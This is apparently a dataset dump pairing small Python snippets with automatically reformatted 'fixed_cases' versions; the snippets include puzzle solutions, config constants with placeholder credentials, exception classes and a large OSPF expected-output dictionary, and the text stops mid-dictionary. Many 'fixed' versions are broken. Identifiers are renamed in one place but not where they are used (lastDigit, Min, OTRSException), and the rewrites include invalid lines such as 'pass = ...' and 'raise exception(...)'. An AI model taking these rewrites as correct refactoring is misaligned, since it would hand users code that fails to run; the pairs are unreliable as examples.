content
stringlengths
7
1.05M
fixed_cases
stringlengths
1
1.28M
#!/usr/bin/python #coding=utf-8 ''' @author: sheng @contact: sinotradition@gmail.com @copyright: License according to the project license. ''' __all__ = ['wu3', 'wei4', 'yin2', 'shen1', 'hai4', 'you3', 'xu1', 'mao3', 'chen2', 'zi3', 'si4', 'chou3']
""" @author: sheng @contact: sinotradition@gmail.com @copyright: License according to the project license. """ __all__ = ['wu3', 'wei4', 'yin2', 'shen1', 'hai4', 'you3', 'xu1', 'mao3', 'chen2', 'zi3', 'si4', 'chou3']
def CheckPossibility(num): digits = [int(d) for d in str(num)] lastDigit = 0 hasConsecutive = False for i in digits: if(lastDigit > i): return False if(lastDigit == i): hasConsecutive = True lastDigit = i else: if(hasConsecutive == False): return False return True Min = 248345 Max = 746315 total = 0 # There is definitely a better way of doing this, but I'm just going to test every possible combination for d in range(Min, Max + 1): if(CheckPossibility(d) == True): total+=1 print(total)
def check_possibility(num): digits = [int(d) for d in str(num)] last_digit = 0 has_consecutive = False for i in digits: if lastDigit > i: return False if lastDigit == i: has_consecutive = True last_digit = i else: if hasConsecutive == False: return False return True min = 248345 max = 746315 total = 0 for d in range(Min, Max + 1): if check_possibility(d) == True: total += 1 print(total)
def spotRsiExceed(current_rsi): if current_rsi > 70: # The market may be overbought, it may become bearish return -1 elif current_rsi < 30: # the market may be ouversold, it may become bullish return 1 return 0
def spot_rsi_exceed(current_rsi): if current_rsi > 70: return -1 elif current_rsi < 30: return 1 return 0
class InsertError(RuntimeError): def __init__(self, operation, cause): self.operation = operation self.cause = cause
class Inserterror(RuntimeError): def __init__(self, operation, cause): self.operation = operation self.cause = cause
with open('input.txt', 'r') as f: s = f.readline() n,m = [int(x) for x in s.split()] out = [] if n > m: while n + m: if n: out.append("B") n -= 1 if m: out.append("G") m -= 1 else: while n + m: if m: out.append("G") m -= 1 if n: out.append("B") n -= 1 ans = "".join(out) with open("output.txt", 'w') as f: f.write(ans)
with open('input.txt', 'r') as f: s = f.readline() (n, m) = [int(x) for x in s.split()] out = [] if n > m: while n + m: if n: out.append('B') n -= 1 if m: out.append('G') m -= 1 else: while n + m: if m: out.append('G') m -= 1 if n: out.append('B') n -= 1 ans = ''.join(out) with open('output.txt', 'w') as f: f.write(ans)
class Constants: LOGGER_NAME = "log4sdc-common" LOGGER_LOG_LEVEL_ENV_VAR = "LOG_LEVEL" LOGGER_DEFAULT_LOG_LEVEL = "WARN" def __setattr__(self, attr, value): if hasattr(self, attr): raise Exception("Attempting to alter read-only value") self.__dict__[attr] = value
class Constants: logger_name = 'log4sdc-common' logger_log_level_env_var = 'LOG_LEVEL' logger_default_log_level = 'WARN' def __setattr__(self, attr, value): if hasattr(self, attr): raise exception('Attempting to alter read-only value') self.__dict__[attr] = value
class Solution: def leap_year(self, year): return ((year % 400 == 0) or (year % 100 != 0 and year % 4 == 0)) def date_to_int(self, year, month, day): month_length = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] ans = day - 1 while month != 0: month -= 1 ans += month_length[month] if month == 2 and self.leap_year(year): ans += 1 ans += 365 * (year - 1971) ans += (year - 1) // 4 - 1971 // 4 ans -= (year - 1) // 100 - 1971 // 100 ans += (year - 1) // 400 - 1971 // 400 return ans def daysBetweenDates(self, date1: str, date2: str) -> int: date1 = [int(i) for i in date1.split('-')] date2 = [int(i) for i in date2.split('-')] return abs(self.date_to_int(*date1) - self.date_to_int(*date2))
class Solution: def leap_year(self, year): return year % 400 == 0 or (year % 100 != 0 and year % 4 == 0) def date_to_int(self, year, month, day): month_length = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] ans = day - 1 while month != 0: month -= 1 ans += month_length[month] if month == 2 and self.leap_year(year): ans += 1 ans += 365 * (year - 1971) ans += (year - 1) // 4 - 1971 // 4 ans -= (year - 1) // 100 - 1971 // 100 ans += (year - 1) // 400 - 1971 // 400 return ans def days_between_dates(self, date1: str, date2: str) -> int: date1 = [int(i) for i in date1.split('-')] date2 = [int(i) for i in date2.split('-')] return abs(self.date_to_int(*date1) - self.date_to_int(*date2))
N,B,H,W =map(int,input().split()) ans = 9876543210 for i in range(H): p = int(input()) L = list(map(int,input().split())) for i in L: if i >=N: if p*N <= B and p*N < ans: ans = p*N if ans == 9876543210: print("stay home") else: print(ans)
(n, b, h, w) = map(int, input().split()) ans = 9876543210 for i in range(H): p = int(input()) l = list(map(int, input().split())) for i in L: if i >= N: if p * N <= B and p * N < ans: ans = p * N if ans == 9876543210: print('stay home') else: print(ans)
# decorator function def mymypy(types): def wrap(func): def inner(*args): for t, a in zip(types, args): if not isinstance(a, t): raise TypeError(f'Argument: {a} is not type {t}') return func(*args) return inner return wrap # --- testing --- @mymypy([float, int]) def mul(a, b): return a * b try: print(f'mul result: {mul(2.5, 3)}') print(f'mul result: {mul(4, 2)}') except TypeError as e: print(e) class MyClass: def __init__(self, x): self.x = x @mymypy([int, MyClass, int]) def objtest(a, b, c): return a * b.x - c mc = MyClass(5) try: print(f'objtest result: {objtest(2, mc, 1)}') print(f'objtest result: {objtest(2, "k", 1)}') except TypeError as e: print(e)
def mymypy(types): def wrap(func): def inner(*args): for (t, a) in zip(types, args): if not isinstance(a, t): raise type_error(f'Argument: {a} is not type {t}') return func(*args) return inner return wrap @mymypy([float, int]) def mul(a, b): return a * b try: print(f'mul result: {mul(2.5, 3)}') print(f'mul result: {mul(4, 2)}') except TypeError as e: print(e) class Myclass: def __init__(self, x): self.x = x @mymypy([int, MyClass, int]) def objtest(a, b, c): return a * b.x - c mc = my_class(5) try: print(f'objtest result: {objtest(2, mc, 1)}') print(f"objtest result: {objtest(2, 'k', 1)}") except TypeError as e: print(e)
# Data directories train_data_path = "./finished_files/chunked/train_*.json" eval_data_path = "./finished_files/val.json" decode_data_path = "./finished_files/test.json" vocab_path = "./finished_files/vocab" log_root = "./log" # Hyperparameters hidden_dim = 256 emb_dim = 128 batch_size = 8 max_enc_steps = 400 max_dec_steps = 100 beam_size = 4 min_dec_steps = 35 vocab_size = 50000 lr = 0.15 adagrad_init_acc = 0.1 rand_unif_init_mag = 0.02 trunc_norm_init_std = 1e-4 max_grad_norm = 2.0 pointer_gen = True is_coverage = True cov_loss_wt = 1.0 eps = 1e-12 max_iterations = 100000 lr_coverage = 0.15
train_data_path = './finished_files/chunked/train_*.json' eval_data_path = './finished_files/val.json' decode_data_path = './finished_files/test.json' vocab_path = './finished_files/vocab' log_root = './log' hidden_dim = 256 emb_dim = 128 batch_size = 8 max_enc_steps = 400 max_dec_steps = 100 beam_size = 4 min_dec_steps = 35 vocab_size = 50000 lr = 0.15 adagrad_init_acc = 0.1 rand_unif_init_mag = 0.02 trunc_norm_init_std = 0.0001 max_grad_norm = 2.0 pointer_gen = True is_coverage = True cov_loss_wt = 1.0 eps = 1e-12 max_iterations = 100000 lr_coverage = 0.15
# Give yourself a nice cheer - # print out Go Whateveryournameis! print( ) # Did you get an error? # Remember that you need to wrap something around text...
print()
def select_tower(tower_selected, tower): if tower_selected: move_disk(tower_selected, tower) return None else: return tower def move_disk(from_tower, to_tower): disk = from_tower.pop() if not disk: return False if can_move(disk, to_tower): to_tower.append(disk) else: from_tower.append(disk) def can_move(disk, into_tower): if len(into_tower) == 0: return True last = into_tower[-1] if disk.get_width() < last.get_width(): return True return False
def select_tower(tower_selected, tower): if tower_selected: move_disk(tower_selected, tower) return None else: return tower def move_disk(from_tower, to_tower): disk = from_tower.pop() if not disk: return False if can_move(disk, to_tower): to_tower.append(disk) else: from_tower.append(disk) def can_move(disk, into_tower): if len(into_tower) == 0: return True last = into_tower[-1] if disk.get_width() < last.get_width(): return True return False
class OTRSException(Exception): pass class HTTPMethodNotSupportedError(OTRSException): pass class OTRSBadResponse(OTRSException): pass class AuthError(OTRSException): pass class AccessDeniedError(OTRSException): pass class InvalidParameterError(OTRSException): pass class ArgumentMissingError(Exception): pass class ArgumentInvalidError(Exception): pass class InvalidInitArgument(Exception): pass class InvalidSessionCacheFile(Exception): pass class InvalidTicketGetArgument(Exception): pass class InvalidTicketCreateArgument(Exception): pass class InvalidTicketUpdateArgument(Exception): pass
class Otrsexception(Exception): pass class Httpmethodnotsupportederror(OTRSException): pass class Otrsbadresponse(OTRSException): pass class Autherror(OTRSException): pass class Accessdeniederror(OTRSException): pass class Invalidparametererror(OTRSException): pass class Argumentmissingerror(Exception): pass class Argumentinvaliderror(Exception): pass class Invalidinitargument(Exception): pass class Invalidsessioncachefile(Exception): pass class Invalidticketgetargument(Exception): pass class Invalidticketcreateargument(Exception): pass class Invalidticketupdateargument(Exception): pass
# cmdline: -O # test optimisation output print(__debug__) assert 0
print(__debug__) assert 0
HOST = 'nhc2.local' USER = 'username' PASS = 'password' # For hobby API 8884 PORT = 8883
host = 'nhc2.local' user = 'username' pass = 'password' port = 8883
# Copyright 2021 Sony Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. incompatible_arcs = { ('100', '7'): ['Ampere', 'Fermi'], ('102', '7'): ['Ampere', 'Fermi'], ('102', '8'): ['Ampere', 'Fermi'], ('110', '8'): ['Fermi'], } gpu_compute_capability_to_arc = { 8: 'Ampere', (7, 5): 'Turing', (7, 0): 'Volta', (7, 2): 'Volta', 6: 'Pascal', 5: 'Maxwell', 3: 'Kepler', 2: 'Fermi' }
incompatible_arcs = {('100', '7'): ['Ampere', 'Fermi'], ('102', '7'): ['Ampere', 'Fermi'], ('102', '8'): ['Ampere', 'Fermi'], ('110', '8'): ['Fermi']} gpu_compute_capability_to_arc = {8: 'Ampere', (7, 5): 'Turing', (7, 0): 'Volta', (7, 2): 'Volta', 6: 'Pascal', 5: 'Maxwell', 3: 'Kepler', 2: 'Fermi'}
api_key = '' api_secret = '' # number of seconds before bittrex request timesout timeout = 5
api_key = '' api_secret = '' timeout = 5
expected_output = { 'vrf': {'default': {'address_family': {'ipv4': {'instance': {'1': {'areas': {'0.0.0.0': {'database': {'lsa_types': {10: {'lsa_type': 10, 'lsas': {'10.1.0.0 192.168.4.1': {'adv_router': '192.168.4.1', 'lsa_id': '10.1.0.0', 'ospfv2': {'body': {'opaque': {}}, 'header': {'adv_router': '192.168.4.1', 'age': 720, 'checksum': '0x8c2b', 'fragment_number': 0, 'length': 28, 'lsa_id': '10.1.0.0', 'mpls_te_router_id': '192.168.4.1', 'num_links': 0, 'opaque_id': 0, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.0 192.168.154.1': {'adv_router': '192.168.154.1', 'lsa_id': '10.1.0.0', 'ospfv2': {'body': {'opaque': {}}, 'header': {'adv_router': '192.168.154.1', 'age': 720, 'checksum': '0x8e27', 'fragment_number': 0, 'length': 28, 'lsa_id': '10.1.0.0', 'mpls_te_router_id': '192.168.154.1', 'num_links': 0, 'opaque_id': 0, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.0 192.168.51.1': {'adv_router': '192.168.51.1', 'lsa_id': '10.1.0.0', 'ospfv2': {'body': {'opaque': {}}, 'header': {'adv_router': '192.168.51.1', 'age': 515, 'checksum': '0x9023', 'fragment_number': 0, 'length': 28, 'lsa_id': '10.1.0.0', 'mpls_te_router_id': '192.168.51.1', 'num_links': 0, 'opaque_id': 0, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.0 192.168.205.1': {'adv_router': '192.168.205.1', 'lsa_id': '10.1.0.0', 'ospfv2': {'body': {'opaque': {}}, 'header': {'adv_router': '192.168.205.1', 'age': 497, 'checksum': '0x921f', 'fragment_number': 0, 'length': 28, 'lsa_id': '10.1.0.0', 'mpls_te_router_id': '192.168.205.1', 'num_links': 0, 'opaque_id': 0, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.233 192.168.51.1': {'adv_router': '192.168.51.1', 'lsa_id': '10.1.0.233', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.145.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.145.2': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.51.1', 'age': 475, 'checksum': '0x9a3b', 'fragment_number': 233, 'length': 116, 'lsa_id': '10.1.0.233', 'num_links': 1, 'opaque_id': 233, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.237 192.168.51.1': {'adv_router': '192.168.51.1', 'lsa_id': '10.1.0.237', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.81.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.81.1': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.51.1', 'age': 455, 'checksum': '0x7c40', 'fragment_number': 237, 'length': 116, 'lsa_id': '10.1.0.237', 'num_links': 1, 'opaque_id': 237, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.42 192.168.154.1': {'adv_router': '192.168.154.1', 'lsa_id': '10.1.0.42', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.196.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.196.2': {}}, 'max_bandwidth': 2500000000, 'max_reservable_bandwidth': 1874999936, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 2, 'unreserved_bandwidths': {'0 1874999936': {'priority': 0, 'unreserved_bandwidth': 1874999936}, '1 1874999936': {'priority': 1, 'unreserved_bandwidth': 1874999936}, '2 1874999936': {'priority': 2, 'unreserved_bandwidth': 1874999936}, '3 1874999936': {'priority': 3, 'unreserved_bandwidth': 1874999936}, '4 1874999936': {'priority': 4, 'unreserved_bandwidth': 1874999936}, '5 1874999936': {'priority': 5, 'unreserved_bandwidth': 1874999936}, '6 1874999936': {'priority': 6, 'unreserved_bandwidth': 1874999936}, '7 1874999936': {'priority': 7, 'unreserved_bandwidth': 1874999936}}}}}}, 'header': {'adv_router': '192.168.154.1', 'age': 510, 'checksum': '0xcce3', 'fragment_number': 42, 'length': 116, 'lsa_id': '10.1.0.42', 'num_links': 1, 'opaque_id': 42, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.47 192.168.154.1': {'adv_router': '192.168.154.1', 'lsa_id': '10.1.0.47', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.145.2', 'link_name': 'broadcast ' 'network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.145.1': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.154.1', 'age': 470, 'checksum': '0xcec3', 'fragment_number': 47, 'length': 116, 'lsa_id': '10.1.0.47', 'num_links': 1, 'opaque_id': 47, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.51 192.168.154.1': {'adv_router': '192.168.154.1', 'lsa_id': '10.1.0.51', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.106.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.106.1': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.154.1', 'age': 450, 'checksum': '0xd8b3', 'fragment_number': 51, 'length': 116, 'lsa_id': '10.1.0.51', 'num_links': 1, 'opaque_id': 51, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.55 192.168.4.1': {'adv_router': '192.168.4.1', 'lsa_id': '10.1.0.55', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.196.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.196.1': {}}, 'max_bandwidth': 2500000000, 'max_reservable_bandwidth': 1874999936, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 2, 'unreserved_bandwidths': {'0 1874999936': {'priority': 0, 'unreserved_bandwidth': 1874999936}, '1 1874999936': {'priority': 1, 'unreserved_bandwidth': 1874999936}, '2 1874999936': {'priority': 2, 'unreserved_bandwidth': 1874999936}, '3 1874999936': {'priority': 3, 'unreserved_bandwidth': 1874999936}, '4 1874999936': {'priority': 4, 'unreserved_bandwidth': 1874999936}, '5 1874999936': {'priority': 5, 'unreserved_bandwidth': 1874999936}, '6 1874999936': {'priority': 6, 'unreserved_bandwidth': 1874999936}, '7 1874999936': {'priority': 7, 'unreserved_bandwidth': 1874999936}}}}}}, 'header': {'adv_router': '192.168.4.1', 'age': 510, 'checksum': '0x3372', 'fragment_number': 55, 'length': 116, 'lsa_id': '10.1.0.55', 'num_links': 1, 'opaque_id': 55, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.1.11 192.168.205.1': {'adv_router': '192.168.205.1', 'lsa_id': '10.1.1.11', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.81.2', 'link_name': 'broadcast ' 'network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.81.2': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.205.1', 'age': 447, 'checksum': '0x6537', 'fragment_number': 267, 'length': 116, 'lsa_id': '10.1.1.11', 'num_links': 1, 'opaque_id': 267, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.1.15 192.168.205.1': {'adv_router': '192.168.205.1', 'lsa_id': '10.1.1.15', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.106.2', 'link_name': 'broadcast ' 'network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.106.2': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.205.1', 'age': 457, 'checksum': '0x4765', 'fragment_number': 271, 'length': 116, 'lsa_id': '10.1.1.15', 'num_links': 1, 'opaque_id': 271, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}}}}}}}}, '2': {}}}}}}}
expected_output = {'vrf': {'default': {'address_family': {'ipv4': {'instance': {'1': {'areas': {'0.0.0.0': {'database': {'lsa_types': {10: {'lsa_type': 10, 'lsas': {'10.1.0.0 192.168.4.1': {'adv_router': '192.168.4.1', 'lsa_id': '10.1.0.0', 'ospfv2': {'body': {'opaque': {}}, 'header': {'adv_router': '192.168.4.1', 'age': 720, 'checksum': '0x8c2b', 'fragment_number': 0, 'length': 28, 'lsa_id': '10.1.0.0', 'mpls_te_router_id': '192.168.4.1', 'num_links': 0, 'opaque_id': 0, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.0 192.168.154.1': {'adv_router': '192.168.154.1', 'lsa_id': '10.1.0.0', 'ospfv2': {'body': {'opaque': {}}, 'header': {'adv_router': '192.168.154.1', 'age': 720, 'checksum': '0x8e27', 'fragment_number': 0, 'length': 28, 'lsa_id': '10.1.0.0', 'mpls_te_router_id': '192.168.154.1', 'num_links': 0, 'opaque_id': 0, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.0 192.168.51.1': {'adv_router': '192.168.51.1', 'lsa_id': '10.1.0.0', 'ospfv2': {'body': {'opaque': {}}, 'header': {'adv_router': '192.168.51.1', 'age': 515, 'checksum': '0x9023', 'fragment_number': 0, 'length': 28, 'lsa_id': '10.1.0.0', 'mpls_te_router_id': '192.168.51.1', 'num_links': 0, 'opaque_id': 0, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.0 192.168.205.1': {'adv_router': '192.168.205.1', 'lsa_id': '10.1.0.0', 'ospfv2': {'body': {'opaque': {}}, 'header': {'adv_router': '192.168.205.1', 'age': 497, 'checksum': '0x921f', 'fragment_number': 0, 'length': 28, 'lsa_id': '10.1.0.0', 'mpls_te_router_id': '192.168.205.1', 'num_links': 0, 'opaque_id': 0, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.233 192.168.51.1': {'adv_router': '192.168.51.1', 'lsa_id': '10.1.0.233', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.145.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.145.2': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.51.1', 'age': 475, 'checksum': '0x9a3b', 'fragment_number': 233, 'length': 116, 'lsa_id': '10.1.0.233', 'num_links': 1, 'opaque_id': 233, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.237 192.168.51.1': {'adv_router': '192.168.51.1', 'lsa_id': '10.1.0.237', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.81.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.81.1': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.51.1', 'age': 455, 'checksum': '0x7c40', 'fragment_number': 237, 'length': 116, 'lsa_id': '10.1.0.237', 'num_links': 1, 'opaque_id': 237, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.42 192.168.154.1': {'adv_router': '192.168.154.1', 'lsa_id': '10.1.0.42', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.196.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.196.2': {}}, 'max_bandwidth': 2500000000, 'max_reservable_bandwidth': 1874999936, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 2, 'unreserved_bandwidths': {'0 1874999936': {'priority': 0, 'unreserved_bandwidth': 1874999936}, '1 1874999936': {'priority': 1, 'unreserved_bandwidth': 1874999936}, '2 1874999936': {'priority': 2, 'unreserved_bandwidth': 1874999936}, '3 1874999936': {'priority': 3, 'unreserved_bandwidth': 1874999936}, '4 1874999936': {'priority': 4, 'unreserved_bandwidth': 1874999936}, '5 1874999936': {'priority': 5, 'unreserved_bandwidth': 1874999936}, '6 1874999936': {'priority': 6, 'unreserved_bandwidth': 1874999936}, '7 1874999936': {'priority': 7, 'unreserved_bandwidth': 1874999936}}}}}}, 'header': {'adv_router': '192.168.154.1', 'age': 510, 'checksum': '0xcce3', 'fragment_number': 42, 'length': 116, 'lsa_id': '10.1.0.42', 'num_links': 1, 'opaque_id': 42, 